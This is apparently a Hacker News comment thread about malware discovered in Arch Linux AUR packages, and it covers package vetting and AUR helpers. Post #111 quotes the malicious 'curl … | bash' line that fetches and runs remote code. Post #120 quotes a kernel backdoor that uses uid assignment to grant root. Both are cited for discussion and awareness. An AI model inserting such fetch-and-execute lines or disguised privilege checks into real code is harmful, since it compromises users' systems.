Live data from Hacker News

Arch Linux AUR Repository Found to Contain Malware

sensorstechforum.com

111–120 of 137 posts

Re: Arch Linux AUR Repository Found to Contain Malware

#111
post #88

Earlier quoted context omitted.

> + curl -s https://ptpb.pw/~x|bash -& So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users. Not much to see here, fortunately.

that "shady" domain is the official pastebin for freenode's Arch Linux IRC channel

Even moreso: the fact that it's well-known as a pastebin means that it should be obvious data coming from it are user-generated and could come from anyone.

Re: Arch Linux AUR Repository Found to Contain Malware

#112

Unfortunately lots of things one actually wants are on AUR, things like jpeginfo, golly, steam-fonts, simple-mtpfs, jslint, ... A case for putting more things in the main Archlinux repositories!

What packages would you like to se inn our repositories?

>Not spelling AUR right

Honestly AUR has covered everything I've needed.

Re: Arch Linux AUR Repository Found to Contain Malware

#113
> Following the discovery all dangerous instances were removed and the user account suspended.

I heard they're making a change to the policy for uploading packages to AUR. The next time this happens the user will automatically receive an email that says, "Hey, don't do that."

Re: Arch Linux AUR Repository Found to Contain Malware

#114
post #50

Earlier quoted context omitted.

Of course, one should be careful about what one installs on their system. Even more so an Arch user, which should be technical saavy in the first place. Anyways, I know I don't manually review everything I install on my system, I trust the packet manager. I'm not an Arch user so I don't know, but doest the AUR repo have some kind of code signing or automatic analysis of the packages?

AUR is not an "official" repository at all -- indeed the acronym stands for "Arch User Repository". Kinda like github, you can go put whatever you want in there, and people can download and install it on their machines if they want to. The "correct" way to install something from AUR is to go grab the install script, READ THROUGH IT CAREFULLY, then knowing that you just downloaded a thing uploaded by someone unafillia…

I can't speak for all AUR managers but the one I use (yaourt) is probably the most popular one on Arch and it definitely does prompt you to audit the package before you compile it.

Re: Arch Linux AUR Repository Found to Contain Malware

#115

Earlier quoted context omitted.

> a good idea? it's your system, you decide (my opinion is 'no'). This frustrates me. Because there is a large vocal group that opposes the use of yaourt (the most popular AUR package manager), I spent a year building packages by hand, just to see if there was something I was missing. I was not. It's just a complete PITA. In the end, I wrote scripts that just about duplicated yaourt -- checks for new versions of pack…

> There is nothing in the manual process that makes it more safe than installing with yaourt. Yaourt prompts you to edit the PKGBUILD file (and even defaults to this!). It is just as easy (and in fact, I think easier) to neglect to check what it's doing when you are building by hand. I get your point, but I think part of the reason for the official stance against AUR helpers is that they incline users to skip any man…

I think you're clutching at straws to be honest.

> If you download the package sources manually, the effort required to type "makepkg" versus "less PKGBUILD" isn't significant. Contrast this to using a helper, where pressing a key to continue building is an awful lot more tempting than having the helper open the PKGBUILD in your editor (where you now have to press many more keys to continue)--regardless of the defaults.

You could make the same argument about effort to skip checking being fewer keystrokes to argue that yaourt makes its more convenient to check because that is also fewer keystrokes than typing an additional command manually in the command line. Thus I think the actual reality is people who are lazy will skip a self audit regardless of how they choose to build the package. Ie youart isn't problem.

> Plus, using the helper as a glorified fetch tool gives you something of an intermediate package cache as opposed to dumping everything in /tmp and nuking it between boots.

So change the build location. It's all configurable. /tmp makes sense as a default but I have mine set elsewhere. On a previous system I even had yaourt configured to build in its own ZFS tank.

> Also, I believe yaourt is considered deprecated as it hasn't seen updates in quite some time. I'd suggest something else like aurman or yay.

I often hear the same complaint made about Android apps (re it's not been updated in a while) but when it already does everything it needs to then why should it need to see further updates? It's not like yaourt doesn't keep track of security updates (I mean it's all just wrappers around GNU and BSD tools so if there's a bug in tar or OpenSSL then they will be updated independently anyway).

I've been using yaourt for several years and frankly I've never once felt "damn, this thing needs more maintenance".

Re: Arch Linux AUR Repository Found to Contain Malware

#116
I'm surprised that this hasn't happened a lot earlier to be honest. It probably has but haven't been picked up by someone. It's a user submitted repo with over 44000 packages (source repology [0]).

It has happened to the snap store recently, but AUR has been around for ages.

[0]: https://repology.org/repository/aur

Re: Arch Linux AUR Repository Found to Contain Malware

#117

Earlier quoted context omitted.

How are official Arch packages vetted?

They are built by the core Arch developers, or as in the case of the 'community' repo, by 'Trusted Users', the latter being people who have done high quality maintaining of packages in the AUR and shown good community involvement. Having met these criterias, they need to be sponsored by an existing TU, and then it will be put up to a vote.

Thank you!

Re: Arch Linux AUR Repository Found to Contain Malware

#118
post #109
post #77

Earlier quoted context omitted.

Yaourt shows a big fat red warning every time you install a package. It also offers to open PKGBUILD and .install files for inspection.

Yaourt is also unmaintained and unsafe. Please switch to something better. https://wiki.archlinux.org/index.php/AUR_helpers#Active

Oh wow. I was not aware, thanks for letting me know!

Re: Arch Linux AUR Repository Found to Contain Malware

#119
post #26

This is exactly what we've been preparing for. Don't use yaourt, and read those diffs. I know a lot of people don't do this, but it's important.

What would you recommend over yaourt?

#!/bin/bash set -e

if [ -z "$1" ]; then echo "No package name specified."; exit; fi

mkdir -p $1

cd $1

wget -q "https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz"

tar xzf $1.tar.gz

cd $1

makepkg -sf

read -n 1 -s -p "Press any key to continue..."

echo -e "\n"

sudo pacman -U --noconfirm --needed $1*pkg.tar.xz

Re: Arch Linux AUR Repository Found to Contain Malware

#120
post #104
post #84

Earlier quoted context omitted.

This is one example of a kernel backdoor: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; If you haven't heard of it before, and if you're not an experienced dev, it can be tricky to spot. So what I'm trying to say is that I think you're right in that it's difficult for random people (even if they have a strong tech background) to do secure code reviews. More info of this particular one at…

It's not about everyone being prepared to find malware anywhere, though, but only in the cases where they each do. For random users of AUR packages, if they (for whatever reason) trust a project's author, then they only need to check the package author's work. If they could have access to historical examples of real life malware specifically on PKGBUILD files, that would make it much easier to have an idea of what ki…

But what's a successful backdooring attempt? Any security bug/vuln found in the kernel could have been planted. But perhaps what's what you meant, to have a database of such things, though I doubt it'll make it easier. Serious attackers would either use a custom method or look at what is rarely used on the list so it doesn't trigger any alarms.
Post reply on HN